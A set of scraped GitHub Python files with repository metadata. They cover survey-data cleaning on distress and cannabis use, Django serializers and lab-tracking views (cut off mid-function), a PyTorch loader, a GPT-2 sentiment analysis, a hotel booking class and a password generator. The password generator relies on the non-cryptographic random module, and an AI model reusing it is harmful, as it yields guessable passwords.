'Separated/Divorced/Widowed', 'Never Married' ] \n\nspd2020[\"marital\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['IRMARIT','marital']].head(15)\n\n# create education variable\n\nspd2020['IREDUHIGHST2'].isnull().values.any() #check if any missing value\nspd2020['IREDUHIGHST2'].value_counts().count() # gives number of caterories\nspd2020['IREDUHIGHST2'].value_counts() # gives each unique category value and its frequency\n\ncol = 'IREDUHIGHST2'\nconditions = [ spd2020[col] <8, spd2020[col] ==8, spd2020[col]==9, spd2020[col] >= 10]\nchoices = [ '< High school', 'High school graduate', 'Some college', 'College graduate' ] \n\nspd2020[\"edu\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['IREDUHIGHST2','edu']].head(15)\n\n# create income variable\n\nspd2020['income'].isnull().values.any() #check if any missing value\nspd2020['income'].value_counts().count() # gives number of caterories\nspd2020['income'].value_counts() # gives each unique category value and its frequency\n\ncol = 'income'\nconditions = [ spd2020[col] ==1, spd2020[col] ==2, spd2020[col]==3, spd2020[col] == 4]\nchoices = [ '< 20K', '20-49K', '50-74K', '> 75K' ] \n\nspd2020[\"income\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['income']].head(15)\n\n# create race variable\n\nspd2020['NEWRACE2'].isnull().values.any() #check if any missing value\nspd2020['NEWRACE2'].value_counts().count() # gives number of caterories\nspd2020['NEWRACE2'].value_counts() # gives each unique category value and its frequency\n\ncol = 'NEWRACE2'\nconditions = [ spd2020[col] ==1, spd2020[col] ==2, (spd2020[col]>=3) & (spd2020[col]<=6), spd2020[col] == 7]\nchoices = [ 'White','Black','Other','Hispanics' ] \n\nspd2020[\"race\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['NEWRACE2','race']].head(15)\n\n# create gender and sexuality variables\n\nspd2020['AGE2'].isnull().values.any() #check if any missing value\nspd2020['AGE2'].value_counts().count() # gives number of caterories\nspd2020['AGE2'].value_counts() # gives each unique category value and its frequency\n\ncol = 'AGE2'\nconditions = [ spd2020[col] <=3, (spd2020[col]>=4) & (spd2020[col]<=6),(spd2020[col]>=7) & (spd2020[col]<=10), spd2020[col] >= 11]\nchoices = [ '11-14','15-17','18-21','>=22' ] \n\nspd2020[\"age\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['AGE2','age']].head(15)\n\n# create gender variable\n\nspd2020['IRSEX'].isnull().values.any() #check if any missing value\nspd2020['IRSEX'].value_counts().count() # gives number of caterories\nspd2020['IRSEX'].value_counts() # gives each unique category value and its frequency\n\nspd2020[\"gender\"]=np.where(spd2020[\"IRSEX\"]==1, \"Male\",\"Female\")\n# spd2020[['IRSEX','gender']].head(15)\n\n# create sexuality variables\n\nspd2020['SEXIDENT'].isnull().values.any() #check if any missing value\nspd2020['SEXIDENT'].value_counts().count() # gives number of caterories\nspd2020['SEXIDENT'].value_counts() # gives each unique category value and its frequency\n\ncol = 'SEXIDENT'\nconditions = [ spd2020[col] ==1, spd2020[col]==2, spd2020[col]==3,spd2020[col]>=4]\nchoices = [ 'Hetrosexuals','Lesbian or gay','Bisexual','Other' ] \n\nspd2020[\"sexuality\"] = np.select(conditions, choices, default=np.nan)\n# spd2020[['SEXIDENT','sexuality']].head(15)\n\n#Create Severe Pyschological Distress measures\n\n#Function to provide score values based on response\ndef slvl(x):\n if x==1:\n return 4\n elif x==2:\n return 3\n elif x==3:\n return 2\n elif x==4:\n return 1\n elif (x==5) | (x==99):\n return 0\n else:\n return np.nan\n \n# Function to assign the strees values for each of the survey question to indicate mentaL well-being\ndef assignscores(ind,vars):\n for i in range(0,len(vars)):\n# var=vars[i]\n# print(\"Assinging stress values for: \", var)\n# c1=spd2020[var].isnull().values.any() #check if any missing value\n# c2=spd2020[var].value_counts().count() # gives number of caterories\n# c3=spd2020[var].value_counts() # gives each unique category value and its frequency\n# print(\"Any missing values: \",c1)\n# print(\"Number of categories: \",c2)\n# print(\"Category details: \\n\", c3)\n spd2020[ind[i]]=spd2020[vars[i]].apply(slvl)\n# c4=spd2020[[var,ind[i]]].head(5)\n# print(c4)\n# c5=spd2020[ind[i]].value_counts()\n# print(\"New constructed variable details: \\n\",c5)\n\n# Create the PAST 30 DAYS measures\nind=['nerv30','hope30','rest30','sad30','eff30','down30']\nvars=['DSTNRV30','DSTHOP30','DSTRST30','DSTCHR30','DSTEFF30','DSTNGD30']\nassignscores(ind,vars)\nspd2020.head(5) \n\n# Create the PAST 12 MONTHS measures\nind=['nerv12','hope12','rest12','sad12','eff12','down12']\nvars=['DSTNRV12','DSTHOP12','DSTRST12','DSTCHR12','DSTEFF12','DSTNGD12']\nassignscores(ind,vars)\n# spd2020.head(5)\n\n# Calculate totals scores and associated SPD variables\nspd2020['spd30summ']=spd2020['nerv30']+spd2020['hope30']+spd2020['rest30']+spd2020['sad30']+spd2020['eff30']+spd2020['down30']\nspd2020['spd12summ']=spd2020['nerv12']+spd2020['hope12']+spd2020['rest12']+spd2020['sad12']+spd2020['eff12']+spd2020['down12']\n\nspd2020['spd30']=np.where(spd2020['spd30summ']>=13,'1','0')\nspd2020['spd12']=np.where(spd2020['spd12summ']>=13,'1','0')\n\nspd2020['spd_pm']=np.where(spd2020['spd30']==1,'1','0') #past month SPD\nspd2020['spd_py']=np.where((spd2020['spd12']==1) & (spd2020['spd30']==0) ,'1','0') #past year SPD but not in past month\nspd2020['spd_no']=np.where((spd2020['spd12']==0) & (spd2020['spd30']==0) ,'1','0') #no SPD in last year\n\ncol = ['spd30summ', 'spd12summ']\nconditions = [ (spd2020[col[0]]<13) & (spd2020[col[1]]<13), spd2020[col[0]]>=13, (spd2020[col[0]]<13) & (spd2020[col[1]]>=13)]\nchoices = [ 'No SPD','Past-month SPD', 'Past-year SPD' ] \nspd2020['SPD'] = np.select(conditions, choices, default=np.nan)\n\n\n# Cannabis users\n\ncol = 'MJREC'\nconditions = [ spd2020[col] ==1, (spd2020[col]>=2) & (spd2020[col] <=91)]\nchoices = [ 'canuser','no can user' ] \nspd2020[\"canuser\"] = np.select(conditions, choices, default=np.nan)\n\n# spd2020['canuser'].describe()\n# spd2020['canuser'].value_counts().count() # gives number of caterories\n# spd2020['spd12summ'].isnull().values.any()\n\n# Create a new dataframe for the regression\nrd=spd2020[['id','wts','year','income','marital','edu','race','age','gender','sexuality','canuser','SPD','spd30summ','spd12summ']]\n\n# check how many rows with any missing values\nrd[rd.isna().any(axis=1)]\n#drop any row that has any missing value\nrd=rd.dropna()\n\n# export final cleaned data without any missing values for regression \nrd.to_excel('SPDdata_2020.xlsx', sheet_name='data', index=False)\n\n#Count proportion of obsevation in each socio-economic and Psychological category\n#Number of individuals in each age, race, gender and sexuality for each SPD level\nden=rd.groupby(['SPD'])['id'].count() #how many people in each stress category\n#Age profile of respondent across SPD categories\n# prop_age=rd.groupby(['SPD','age'])['id'].count().div(den)*100\n\nprop_age=rd.groupby(['SPD','age'])['id'].count().div(den)*100\nprop_race=rd.groupby(['SPD','race'])['id'].count().div(den)*100\nprop_gender=rd.groupby(['SPD','gender'])['id'].count().div(den)*100\nprop_sexuality=rd.groupby(['SPD','sexuality'])['id'].count().div(den)*100\n\n#prop_race.to_excel('SPD_table.xlsx', sheet_name='prop_race', float_format=\"%.2f\", header=False)\n\ncu_spd=rd.groupby(['canuser','SPD'])['id'].count().div(rd.groupby(['SPD'])['id'].count())*100\ncu_age=rd.groupby(['canuser','age'])['id'].count().div(rd.groupby(['age'])['id'].count())*100\ncu_race=rd.groupby(['canuser','race'])['id'].count().div(rd.groupby(['race'])['id'].count())*100\ncu_gender=rd.groupby(['canuser','gender'])['id'].count().div(rd.groupby(['gender'])['id'].count())*100\ncu_sexuality=rd.groupby(['canuser','sexuality'])['id'].count().div(rd.groupby(['sexuality'])['id'].count())*100\n# print(prop_age,'\\n \\n', prop_race,'\\n \\n', prop_gender,'\\n \\n', prop_sexuality)\n\n# Test for equality of SPD levels across groups for Socio-economic characteristics\n\n# Perform the two sample t-test with equal variances\nstats.ttest_ind(a=rd.spd30summ, b=rd.spd12summ, equal_var=True)\n\n# Plot proprtion of SPD\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n# rd = rd.sort_values(by='age', ascending=False)\nsns.catplot(x=\"SPD\", y=\"id\", hue=\"race\", kind=\"bar\", data=rd)\nsns.catplot(x=\"SPD\", y=\"id\", hue=\"age\", kind=\"bar\", data=rd)\nsns.catplot(x=\"SPD\", y=\"id\", hue=\"gender\", kind=\"bar\", data=rd)\nsns.catplot(x=\"SPD\", y=\"id\", hue=\"sexuality\", kind=\"bar\", data=rd)\n","repo_name":"skumar4nd/Psychological-Distress-and-Cannabis-Usage","sub_path":"spd2020.py","file_name":"spd2020.py","file_ext":"py","file_size_in_byte":9844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73484867560","text":"\"\"\"Profile serializer.\"\"\"\n\n# Django REST Framework\nfrom rest_framework import serializers\n\n# Models\nfrom users.models import Profile, Membership\n\n\nclass ProfileModelSerializer(serializers.ModelSerializer):\n \"\"\"Profile model serializer.\"\"\"\n\n class Meta:\n \"\"\"Meta class.\"\"\"\n model = Profile\n fields = (\n 'picture',\n 'age',\n 'weight',\n 'height',\n 'is_active'\n )\n read_only_fields = ['is_active']\n","repo_name":"Julian-Bio0404/Gym-Admin","sub_path":"users/serializers/profiles.py","file_name":"profiles.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33455772373","text":"\"\"\"Sifre uretme.\"\"\"\nimport random\n\n# kucuk_harfler = \"\".join([chr(x) for x in range(ord(\"a\"), ord(\"z\"))])\nkucuk_harfler = \"\".join((map(chr, range(ord(\"a\"), ord(\"z\")))))\nbuyuk_harfler = kucuk_harfler.upper()\nrakamlar = \"\".join(list(map(str, range(0, 10))))\nsemboller = \"[]{}()+-*/.,;_-'\\\"`\"\n# print(kucuk_harfler)\n# print(buyuk_harfler)\n# print(rakamlar)\ntumkarakterler = kucuk_harfler + buyuk_harfler + rakamlar + semboller\nsifre_uzunlugu = 16\nsifre = \"\".join(random.sample(tumkarakterler, sifre_uzunlugu))\nprint(sifre)\n","repo_name":"ekremsaydam/python-exam","sub_path":"SeveralExample/passwordgenerate.py","file_name":"passwordgenerate.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"tr","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"14056259024","text":"import torch\nfrom torch.utils.data import DataLoader, DistributedSampler\nfrom tripod.util.misc import default_collate_fn, updetr_collate_fn\n\n\ndef build_loader(\n dataset,\n is_training,\n is_distributed,\n shuffle=False,\n batch_size=2,\n drop_last=True,\n use_updetr_collate=False,\n num_workers=4,\n):\n if is_distributed:\n sampler = DistributedSampler(dataset, shuffle=shuffle)\n else:\n SamplerClass = (\n torch.utils.data.RandomSampler\n if is_training and shuffle\n else torch.utils.data.SequentialSampler\n )\n sampler = SamplerClass(dataset)\n\n batch_sampler = torch.utils.data.BatchSampler(\n sampler, batch_size, drop_last=drop_last\n )\n\n collate_fn = default_collate_fn if not use_updetr_collate else updetr_collate_fn\n\n \n data_loader = DataLoader(\n dataset, batch_sampler=batch_sampler, collate_fn=collate_fn, num_workers=num_workers\n )\n return data_loader\n","repo_name":"amaarora/tripod","sub_path":"tripod/data/data_factory.py","file_name":"data_factory.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14059374577","text":"import torch\n\n\nclass TrainerUtil:\n @staticmethod\n def get_sigmoid_correct_count(predict, tlabel):\n predict = torch.round(predict)\n diff = tlabel.sub(predict)\n abs = torch.abs(diff)\n return predict.size()[0] - torch.sum(abs).item()\n","repo_name":"miyazawatomoka/QIQC","sub_path":"utils/trainer_util.py","file_name":"trainer_util.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"3570690669","text":"# *args => parameter that will pack all arguments into a tuple \n# useful so that a function can accept a varying amount of arguments\n\ndef add(*args): # we can use any name instead of args but the * is important it is used for packing all the arguments into a tuple\n sum = 0\n for i in args:\n sum += i\n return sum\n\nprint(add(1,2,2,4,5,6))","repo_name":"Harsh-Sharma-1/learn-python","sub_path":"args parameter.py","file_name":"args parameter.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"41734094647","text":"#%%\nimport einops\nfrom functools import partial\nimport numpy as np\nimport torch\nfrom torch import Tensor\nfrom torch.utils.data import DataLoader\nfrom datasets import load_dataset\nfrom jaxtyping import Float, Int, Bool\nfrom typing import Dict, Iterable, List, Optional, Tuple, Union\nfrom transformer_lens import HookedTransformer\nfrom transformer_lens.utils import get_dataset, tokenize_and_concatenate, get_act_name, test_prompt\nfrom transformer_lens.hook_points import HookPoint\nfrom tqdm.notebook import tqdm\nimport pandas as pd\nimport yaml\nimport plotly.express as px\nfrom utils.store import load_array, save_html, save_array, is_file, get_model_name, clean_label, save_text\n#%%\ntorch.set_grad_enabled(False)\ndevice = \"cuda\"\nmodel = HookedTransformer.from_pretrained(\n \"gpt2-small\",\n)\n#%%\nACT_NAME = get_act_name(\"resid_post\", 0)\n#%%\nBATCH_SIZE = 64\nowt_data = load_dataset(\"stas/openwebtext-10k\", split=\"train\")\ndataset = tokenize_and_concatenate(owt_data, model.tokenizer)\ndata_loader = DataLoader(\n dataset, batch_size=BATCH_SIZE, shuffle=False, drop_last=True\n)\n#%% # Neutral\ncount = 0\ntotal = torch.zeros(model.cfg.d_model)\nfor batch in tqdm(data_loader):\n _, cache = model.run_with_cache(\n batch['tokens'], \n return_type=None, \n names_filter = lambda name: name == ACT_NAME\n )\n count += 1\n total += cache[ACT_NAME][:, 1, :].mean(dim=0).cpu()\nneutral_activation = total / count\nprint(neutral_activation.shape, neutral_activation.norm())\n#%% Handmade prompts\nwith open(\"prompts.yaml\", \"r\") as f:\n prompt_dict = yaml.safe_load(f)\n#%% Handmade neutral\n# neutral_str_tokens = prompt_dict['neutral_adjectives']\n# neutral_single_tokens = []\n# for token in neutral_str_tokens:\n# token = \" \" + token\n# if len(model.to_str_tokens(token, prepend_bos=False)) == 1:\n# neutral_single_tokens.append(token)\n# neutral_tokens = model.to_tokens(\n# neutral_single_tokens,\n# prepend_bos=True,\n# )\n# assert neutral_tokens.shape[1] == 2\n# _, neutral_cache = model.run_with_cache(\n# neutral_tokens,\n# return_type=None,\n# names_filter = lambda name: name == ACT_NAME\n# )\n# neutral_activation = neutral_cache[ACT_NAME][:, -1].mean(dim=0).cpu()\n# print(neutral_activation.shape, neutral_activation.norm())\n#%% # Positive\n#%%\npositive_str_tokens = (\n prompt_dict['positive_adjectives_train'] + \n prompt_dict['positive_comment_adjectives'] +\n prompt_dict['positive_nouns'] + \n prompt_dict['positive_verbs'] + \n prompt_dict['positive_infinitives']\n)\npositive_single_tokens = []\nfor token in positive_str_tokens:\n token = \" \" + token\n if len(model.to_str_tokens(token, prepend_bos=False)) == 1:\n positive_single_tokens.append(token)\npositive_tokens = model.to_tokens(\n positive_single_tokens,\n prepend_bos=True,\n)\nassert positive_tokens.shape[1] == 2\n_, positive_cache = model.run_with_cache(\n positive_tokens,\n return_type=None,\n names_filter = lambda name: name == ACT_NAME\n)\npositive_activation = positive_cache[ACT_NAME][:, -1].mean(dim=0).cpu()\nprint(positive_activation.shape, positive_activation.norm())\n#%% # Negative\nnegative_str_tokens = (\n prompt_dict['negative_adjectives_train'] + \n prompt_dict['negative_comment_adjectives'] +\n prompt_dict['negative_nouns'] + \n prompt_dict['negative_verbs'] + \n prompt_dict['negative_infinitives']\n)\nnegative_single_tokens = []\nfor token in negative_str_tokens:\n token = \" \" + token\n if len(model.to_str_tokens(token, prepend_bos=False)) == 1:\n negative_single_tokens.append(token)\nnegative_tokens = model.to_tokens(\n negative_single_tokens,\n prepend_bos=True,\n)\nassert negative_tokens.shape[1] == 2\n_, negative_cache = model.run_with_cache(\n negative_tokens,\n return_type=None,\n names_filter = lambda name: name == ACT_NAME\n)\nnegative_activation = negative_cache[ACT_NAME][:, -1].mean(dim=0).cpu()\nprint(negative_activation.shape, negative_activation.norm())\n# %%\npositive_direction = positive_activation - neutral_activation\nnegative_direction = negative_activation - neutral_activation\npositive_direction = positive_direction / positive_direction.norm()\nnegative_direction = negative_direction / negative_direction.norm()\ntorch.cosine_similarity(positive_direction, negative_direction, dim=0)\n#%%\nis_valenced_direction = positive_direction + negative_direction\nis_valenced_direction = is_valenced_direction / is_valenced_direction.norm()\nis_valenced_direction = is_valenced_direction.to(device)\nsentiment_direction = positive_direction - negative_direction\nsentiment_direction = sentiment_direction / sentiment_direction.norm()\nsentiment_direction = sentiment_direction.to(device)\ntorch.cosine_similarity(is_valenced_direction, sentiment_direction, dim=0)\n#%%\ndef get_token_sentiment_valence(\n max_tokens: int = 10_000,\n max_sentiment: Optional[float] = None,\n min_valence: Optional[float] = None,\n):\n all_tokens = torch.tensor([], dtype=torch.int32, device=device,)\n val_scores = torch.tensor([], dtype=torch.float32, device=device,)\n sent_scores = torch.tensor([], dtype=torch.float32, device=device,)\n all_acts = torch.tensor([], dtype=torch.float32, device=device,)\n for batch in tqdm(data_loader):\n batch_tokens = batch['tokens'].to(device)\n _, cache = model.run_with_cache(\n batch_tokens, \n return_type=None, \n names_filter = lambda name: name == ACT_NAME\n )\n val_score = einops.einsum(\n cache[ACT_NAME],\n is_valenced_direction,\n \"batch pos d_model, d_model -> batch pos\",\n )\n sent_score = einops.einsum(\n cache[ACT_NAME],\n sentiment_direction,\n \"batch pos d_model, d_model -> batch pos\",\n )\n val_score = einops.rearrange(\n val_score, \"batch pos -> (batch pos)\"\n )\n sent_score = einops.rearrange(\n sent_score, \"batch pos -> (batch pos)\"\n )\n flat_tokens = einops.rearrange(\n batch_tokens, \"batch pos -> (batch pos)\"\n )\n flat_act = einops.rearrange(\n cache[ACT_NAME], \"batch pos d_model -> (batch pos) d_model\"\n )\n mask = torch.ones_like(flat_tokens, dtype=torch.bool)\n if max_sentiment is not None:\n mask &= sent_score.abs() < max_sentiment\n if min_valence is not None:\n mask &= val_score > min_valence\n flat_tokens = flat_tokens[mask]\n val_score = val_score[mask]\n sent_score = sent_score[mask]\n flat_act = flat_act[mask]\n all_tokens = torch.cat([all_tokens, flat_tokens])\n val_scores = torch.cat([val_scores, val_score])\n sent_scores = torch.cat([sent_scores, sent_score])\n all_acts = torch.cat([all_acts, flat_act])\n if len(all_tokens) > max_tokens:\n break\n val_scores = val_scores.cpu().numpy()\n sent_scores = sent_scores.cpu().numpy()\n all_tokens = all_tokens.cpu().numpy()\n all_acts = all_acts.cpu().numpy()\n print(val_scores.shape, sent_scores.shape, all_tokens.shape, all_acts.shape)\n return val_scores, sent_scores, all_tokens, all_acts\n#%%\nval_scores, sent_scores, all_tokens, all_acts = get_token_sentiment_valence(\n max_tokens=100,\n max_sentiment=0.5,\n min_valence=20,\n)\nif len(all_tokens) <= 1_000:\n all_tokens = model.to_str_tokens(all_tokens)\n save_text(\"\\n\".join(all_tokens), \"valenced_tokens\", model)\n#%%\nfig = px.scatter(\n x=val_scores,\n y=sent_scores,\n text=all_tokens,\n labels=dict(x=\"Valenced\", y=\"Sentiment\"),\n)\nfig.update_layout(\n title=dict(\n text=\"Valenced vs Sentiment activations\",\n x=0.5,\n ),\n font=dict(\n size=8,\n ),\n)\nfig.show()\n#%%\nneutral_valenced_activation = all_acts.mean(axis=0)\n# %%\npositive_direction = positive_activation - neutral_valenced_activation\nnegative_direction = negative_activation - neutral_valenced_activation\npositive_direction = positive_direction / positive_direction.norm()\nnegative_direction = negative_direction / negative_direction.norm()\ntorch.cosine_similarity(positive_direction, negative_direction, dim=0)\n#%%\n# save_array(\n# positive_direction.cpu().numpy(), \"mean_diff_positive_layer01\", model\n# )\n# save_array(\n# negative_direction.cpu().numpy(), \"mean_diff_negative_layer01\", model\n# )\n\n# %%\n","repo_name":"curt-tigges/eliciting-latent-sentiment","sub_path":"fit_one_sided_directions.py","file_name":"fit_one_sided_directions.py","file_ext":"py","file_size_in_byte":8332,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"10819689380","text":"class Habitacion:\n def __init__(self, numero, capacidad, precio):\n self.numero = numero\n self.capacidad = capacidad\n self.precio = precio\n self.reservada = False\n\n def __str__(self):\n return f\"Habitación {self.numero} - Capacidad: {self.capacidad} - Precio: ${self.precio}\"\n\n def reservar(self):\n if not self.reservada:\n self.reservada = True\n print(f\"Habitación {self.numero} reservada.\")\n else:\n print(f\"Habitación {self.numero} ya está reservada.\")\n\n def liberar(self):\n if self.reservada:\n self.reservada = False\n print(f\"Habitación {self.numero} liberada.\")\n else:\n print(f\"Habitación {self.numero} no está reservada.\")\n\n def calcular_costo(self, num_noches):\n return self.precio * num_noches\n\nclass HabitacionIndividual(Habitacion):\n def __init__(self, numero, precio):\n super().__init__(numero, 1, precio)\n\nclass HabitacionDoble(Habitacion):\n def __init__(self, numero, precio):\n super().__init__(numero, 2, precio)\n\n# Crear habitaciones de ejemplo\nhabitacion1 = HabitacionIndividual(101, 100)\nhabitacion2 = HabitacionDoble(201, 150)\nhabitacion3 = HabitacionIndividual(102, 120)\nhabitacion4 = HabitacionDoble(202, 180)\n\nhabitaciones_disponibles = [habitacion1, habitacion2, habitacion3, habitacion4]\n\n# Mostrar habitaciones disponibles\nprint(\"Habitaciones disponibles:\")\nfor habitacion in habitaciones_disponibles:\n print(habitacion)\n\n# Solicitar al usuario seleccionar una habitación\nnum_habitacion = int(input(\"Ingrese el número de la habitación que desea reservar: \"))\n\nhabitacion_seleccionada = None\nfor habitacion in habitaciones_disponibles:\n if habitacion.numero == num_habitacion:\n habitacion_seleccionada = habitacion\n break\n\nif habitacion_seleccionada:\n habitacion_seleccionada.reservar()\nelse:\n print(\"La habitación seleccionada no está disponible.\")\n","repo_name":"Arleyrs/Reserva_habitaciones","sub_path":"hotel.py","file_name":"hotel.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"32678344236","text":"import csv\nimport math\nfrom datetime import date, datetime, timedelta, timezone\n\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport pytz\nimport tzlocal\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required, permission_required\nfrom django.core import serializers\nfrom django.core.paginator import EmptyPage, PageNotAnInteger, Paginator\nfrom django.db.models import ExpressionWrapper, F, IntegerField, Sum\nfrom django.db.models.functions import Extract\nfrom django.http import HttpResponse, HttpResponseForbidden, HttpResponseRedirect\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom django.views import View\nfrom plotly.offline import plot\nfrom reportlab.lib import colors\nfrom reportlab.lib.pagesizes import letter\nfrom reportlab.lib.units import inch\nfrom reportlab.pdfgen import canvas\n\nfrom apps.cqi.forms import FacilitiesForm\nfrom apps.cqi.models import Counties, Facilities, Sub_counties\nfrom apps.cqi.views import bar_chart\nfrom apps.data_analysis.views import get_key_from_session_names\n# from apps.dqa.views import disable_update_buttons\nfrom apps.labpulse.decorators import group_required\nfrom apps.labpulse.filters import Cd4trakerFilter\nfrom apps.labpulse.forms import Cd4TestingLabForm, Cd4TestingLabsForm, Cd4trakerForm, Cd4trakerManualDispatchForm, \\\n LabPulseUpdateButtonSettingsForm, ReagentStockForm, facilities_lab_Form\nfrom apps.labpulse.models import Cd4TestingLabs, Cd4traker, EnableDisableCommodities, LabPulseUpdateButtonSettings, \\\n ReagentStock\n\n\ndef disable_update_buttons(request, audit_team, relevant_date_field):\n ##############################################################\n # DISABLE UPDATE BUTTONS AFTER A SPECIFIED TIME AND DAYS AGO #\n ##############################################################\n local_tz = pytz.timezone(\"Africa/Nairobi\")\n settings = LabPulseUpdateButtonSettings.objects.first()\n try:\n disable_button = settings.disable_all_dqa_update_buttons\n # DISABLE ALL DQA UPDATE BUTTONS\n if disable_button:\n for data in audit_team:\n data.hide_update_button = True\n else:\n try:\n hide_button_time = settings.hide_button_time\n days_to_keep_enabled = settings.days_to_keep_update_button_enabled\n now = timezone.now().astimezone(local_tz)\n enabled_datetime = now - timedelta(days=days_to_keep_enabled)\n for data in audit_team:\n try:\n relevant_date = getattr(data, relevant_date_field).astimezone(local_tz).date()\n except AttributeError:\n relevant_date = getattr(data, relevant_date_field).astimezone(local_tz).date()\n hide_button_datetime = timezone.make_aware(datetime.combine(relevant_date, hide_button_time))\n if relevant_date == now.date() and now >= hide_button_datetime:\n data.hide_update_button = True\n elif relevant_date >= enabled_datetime.date():\n data.hide_update_button = False\n elif now >= hide_button_datetime:\n data.hide_update_button = True\n else:\n data.hide_update_button = False\n except AttributeError:\n messages.info(request,\n \"You have not yet set the time to disable the LabPulse update button. Please click on the\"\n \" 'Change DQA Update Time' button on the left navigation bar to set the time or contact \"\n \"an administrator to set it for you.\")\n except AttributeError:\n messages.info(request,\n \"You have not yet set the time to disable the LabPulse update button. Please click on the 'Change \"\n \"labPulse Update Time' button on the left navigation bar to set the time or contact an \"\n \"administrator to set it for you.\")\n return redirect(request.path_info)\n\n\ndef lab_pulse_update_button_settings(request):\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n\n update_settings = LabPulseUpdateButtonSettings.objects.first()\n if request.method == 'POST':\n form = LabPulseUpdateButtonSettingsForm(request.POST, instance=update_settings)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(request.session['page_from'])\n else:\n form = LabPulseUpdateButtonSettingsForm(instance=update_settings)\n return render(request, 'lab_pulse/upload.html', {'form': form, \"title\": \"update time\"})\n\n\n# Create your views here.\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\ndef choose_testing_lab(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n cd4_testing_lab_form = Cd4TestingLabsForm(request.POST or None)\n if request.method == \"POST\":\n if cd4_testing_lab_form.is_valid():\n testing_lab_name = cd4_testing_lab_form.cleaned_data['testing_lab_name']\n # Generate the URL for the redirect\n url = reverse('add_cd4_count',\n kwargs={\n 'report_type': \"Current\", 'pk_lab': testing_lab_name.id})\n\n return redirect(url)\n context = {\n \"cd4_testing_lab_form\": cd4_testing_lab_form,\n \"title\": \"CD4 TRACKER\"\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\n@login_required(login_url='login')\n@group_required(['laboratory_staffs_labpulse'])\n@permission_required('labpulse.view_add_retrospective_cd4_count', raise_exception=True)\ndef choose_testing_lab_manual(request):\n if not request.user.first_name:\n return redirect(\"profile\")\n if request.method == \"GET\":\n request.session['page_from'] = request.META.get('HTTP_REFERER', '/')\n cd4_testing_lab_form = Cd4TestingLabsForm(request.POST or None)\n if request.method == \"POST\":\n if cd4_testing_lab_form.is_valid():\n testing_lab_name = cd4_testing_lab_form.cleaned_data['testing_lab_name']\n # Generate the URL for the redirect\n url = reverse('add_cd4_count',\n kwargs={\n 'report_type': \"Retrospective\", 'pk_lab': testing_lab_name.id})\n\n return redirect(url)\n context = {\n \"cd4_testing_lab_form\": cd4_testing_lab_form,\n \"title\": \"CD4 TRACKER\"\n }\n return render(request, 'lab_pulse/add_cd4_data.html', context)\n\n\ndef validate_cd4_count_form(form, report_type):\n received_status = form.cleaned_data['received_status']\n reason_for_rejection = form.cleaned_data['reason_for_rejection']\n date_of_collection = form.cleaned_data['date_of_collection']\n date_sample_received = form.cleaned_data['date_sample_received']\n date_of_testing = form.cleaned_data['date_of_testing']\n cd4_count_results = form.cleaned_data['cd4_count_results']\n serum_crag_results = form.cleaned_data['serum_crag_results']\n reason_for_no_serum_crag = form.cleaned_data['reason_for_no_serum_crag']\n cd4_percentage = form.cleaned_data['cd4_percentage']\n age = form.cleaned_data['age']\n today = timezone.now().date()\n\n if report_type != \"Current\":\n date_dispatched = form.cleaned_data['date_dispatched']\n if date_of_collection and date_of_collection > date_dispatched:\n error_message = \"Collection date is greater than Dispatch date!\"\n form.add_error('date_of_collection', error_message)\n form.add_error('date_dispatched', error_message)\n return False\n if date_dispatched > today:\n form.add_error('date_dispatched', \"Date of sample dispatched cannot be in the future.\")\n return False\n\n if date_sample_received and date_sample_received > date_dispatched:\n error_message = \"Received date is greater than Dispatch date!\"\n form.add_error('date_sample_received', error_message)\n form.add_error('date_dispatched', error_message)\n return False\n\n if date_of_testing and date_of_testing > date_dispatched:\n error_message = \"Testing date is greater than Dispatch date!\"\n form.add_error('date_of_testing', error_message)\n form.add_error('date_dispatched', error_message)\n return False\n\n if date_of_collection > date_sample_received:\n error_message = \"Collection date is greater than Receipt date!\"\n form.add_error('date_of_collection', error_message)\n form.add_error('date_sample_received', error_message)\n return False\n\n if received_status == 'Rejected':\n if not reason_for_rejection:\n error_message = \"Please specify the reason for rejection.\"\n form.add_error('reason_for_rejection', error_message)\n return False\n if date_of_testing or cd4_count_results or serum_crag_results or reason_for_no_serum_crag:\n error_message = \"All fields should be empty when the status is 'Rejected'.\"\n if date_of_testing:\n form.add_error('date_of_testing', error_message)\n if cd4_count_results:\n form.add_error('cd4_count_results', error_message)\n if serum_crag_results:\n form.add_error('serum_crag_results', error_message)\n if reason_for_no_serum_crag:\n form.add_error('reason_for_no_serum_crag', error_message)\n return False\n\n if received_status == \"Accepted\":\n if reason_for_rejection:\n error_message = f\"Check if this information is correct\"\n form.add_error('received_status', error_message)\n form.add_error('reason_for_rejection', error_message)\n return 